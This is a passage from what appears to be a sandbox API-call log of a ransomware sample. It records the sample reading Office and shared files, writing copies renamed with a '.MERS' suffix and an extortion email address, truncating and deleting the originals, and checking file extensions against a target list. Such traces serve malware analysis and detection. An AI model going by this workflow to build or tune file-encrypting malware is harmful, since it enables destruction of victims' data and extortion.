lstrlenW (lpString="FlickAnimation.avi") returned 18 [0039.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0039.640] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1600388) returned 1 [0039.640] CloseHandle (hObject=0x1d4) returned 1 [0039.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0039.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0039.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0039.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0039.640] lstrlenW (lpString=".doc") returned 4 [0039.640] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.640] lstrlenW (lpString=".docx") returned 5 [0039.640] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0039.640] lstrlenW (lpString=".pdf") returned 4 [0039.640] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.640] lstrlenW (lpString=".xls") returned 4 [0039.640] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.640] lstrlenW (lpString=".xlsx") returned 5 [0039.640] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0039.640] lstrlenW (lpString=".ppt") returned 4 [0039.640] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0039.640] lstrlenW (lpString=".zip") returned 4 [0039.641] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.641] lstrlenW (lpString=".rar") returned 4 [0039.641] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.641] lstrlenW (lpString=".bz2") returned 4 [0039.641] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.641] lstrlenW (lpString=".7z") returned 3 [0039.641] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0039.641] lstrlenW (lpString=".dbf") returned 4 [0039.641] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0039.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0039.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0039.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0040.451] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1941) returned 1 [0040.451] CloseHandle (hObject=0x1a8) returned 1 [0040.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0040.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.452] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.452] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.452] GetLastError () returned 0x0 [0040.452] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x795, lpOverlapped=0x0) returned 1 [0040.548] WriteFile (in: hFile=0x1e8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0040.548] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.548] WriteFile (in: hFile=0x1e8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0040.549] SetEndOfFile (hFile=0x1e8) returned 1 [0040.549] CloseHandle (hObject=0x1e8) returned 1 [0040.549] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.549] SetEndOfFile (hFile=0x1a8) returned 1 [0040.550] CloseHandle (hObject=0x1a8) returned 1 [0040.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.550] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0040.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.551] lstrlenW (lpString=".doc") returned 4 [0040.551] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0040.551] lstrlenW (lpString=".docx") returned 5 [0040.551] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0040.551] lstrlenW (lpString=".pdf") returned 4 [0040.551] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0040.551] lstrlenW (lpString=".xls") returned 4 [0040.551] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0040.551] lstrlenW (lpString=".xlsx") returned 5 [0040.551] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0040.551] lstrlenW (lpString=".ppt") returned 4 [0040.551] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0040.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.551] lstrlenW (lpString=".zip") returned 4 [0040.551] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0040.551] lstrlenW (lpString=".rar") returned 4 [0040.551] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0040.551] lstrlenW (lpString=".bz2") returned 4 [0040.551] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0040.551] lstrlenW (lpString=".7z") returned 3 [0040.551] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0040.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.551] lstrlenW (lpString=".dbf") returned 4 [0040.551] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0040.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.551] lstrlenW (lpString=".1cd") returned 4 [0040.551] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0040.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.552] lstrlenW (lpString=".jpg") returned 4 [0040.552] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0040.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.552] lstrlenW (lpString=".doc") returned 4 [0040.552] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0040.552] lstrlenW (lpString=".docx") returned 5 [0040.552] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0040.552] lstrlenW (lpString=".pdf") returned 4 [0040.552] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0040.552] lstrlenW (lpString=".xls") returned 4 [0040.552] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0040.552] lstrlenW (lpString=".xlsx") returned 5 [0040.552] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0040.552] lstrlenW (lpString=".ppt") returned 4 [0040.552] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0040.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.552] lstrlenW (lpString=".zip") returned 4 [0040.552] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0040.552] lstrlenW (lpString=".rar") returned 4 [0040.552] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0040.552] lstrlenW (lpString=".bz2") returned 4 [0040.552] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0040.552] lstrlenW (lpString=".7z") returned 3 [0040.552] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0040.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.552] lstrlenW (lpString=".dbf") returned 4 [0040.552] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0040.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.552] lstrlenW (lpString=".1cd") returned 4 [0040.552] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0040.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0040.552] lstrlenW (lpString=".jpg") returned 4 [0040.552] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0040.553] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.553] lstrlenW (lpString="SETUP.XML") returned 9 [0040.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.572] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1452) returned 1 [0040.572] CloseHandle (hObject=0x1e8) returned 1 [0040.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0040.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.573] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.573] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0040.573] GetLastError () returned 0x0 [0040.573] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0040.740] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0040.741] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.741] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.741] SetEndOfFile (hFile=0x17c) returned 1 [0040.741] CloseHandle (hObject=0x17c) returned 1 [0040.742] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.742] SetEndOfFile (hFile=0x1e8) returned 1 [0040.743] CloseHandle (hObject=0x1e8) returned 1 [0040.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0040.743] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.744] lstrlenW (lpString=".doc") returned 4 [0040.744] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".docx") returned 5 [0040.744] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.744] lstrlenW (lpString=".pdf") returned 4 [0040.744] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".xls") returned 4 [0040.744] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".xlsx") returned 5 [0040.744] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.744] lstrlenW (lpString=".ppt") returned 4 [0040.744] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.744] lstrlenW (lpString=".zip") returned 4 [0040.744] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.744] lstrlenW (lpString=".rar") returned 4 [0040.744] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".bz2") returned 4 [0040.744] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".7z") returned 3 [0040.744] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.744] lstrlenW (lpString=".dbf") returned 4 [0040.744] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.744] lstrlenW (lpString=".1cd") returned 4 [0040.744] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.744] lstrlenW (lpString=".jpg") returned 4 [0040.744] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.745] lstrlenW (lpString=".doc") returned 4 [0040.745] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString=".docx") returned 5 [0040.745] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.745] lstrlenW (lpString=".pdf") returned 4 [0040.745] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString=".xls") returned 4 [0040.745] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString=".xlsx") returned 5 [0040.745] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.745] lstrlenW (lpString=".ppt") returned 4 [0040.745] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.745] lstrlenW (lpString=".zip") returned 4 [0040.745] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.745] lstrlenW (lpString=".rar") returned 4 [0040.745] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString=".bz2") returned 4 [0040.745] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString=".7z") returned 3 [0040.745] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.745] lstrlenW (lpString=".dbf") returned 4 [0040.745] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.745] lstrlenW (lpString=".1cd") returned 4 [0040.745] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0040.745] lstrlenW (lpString=".jpg") returned 4 [0040.745] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.780] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0040.780] lstrlenW (lpString="BRANDING.XML") returned 12 [0040.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0041.602] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=596341) returned 1 [0041.602] CloseHandle (hObject=0x17c) returned 1 [0041.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0041.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0041.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0041.602] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.602] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.604] GetLastError () returned 0x0 [0041.604] ReadFile (in: hFile=0x17c, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x91975, lpOverlapped=0x0) returned 1 [0041.847] WriteFile (in: hFile=0x1c4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0041.865] ReadFile (in: hFile=0x17c, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.865] WriteFile (in: hFile=0x1c4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.865] SetEndOfFile (hFile=0x1c4) returned 1 [0041.865] CloseHandle (hObject=0x1c4) returned 1 [0041.870] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.870] SetEndOfFile (hFile=0x17c) returned 1 [0042.714] CloseHandle (hObject=0x17c) returned 1 [0042.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0042.734] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 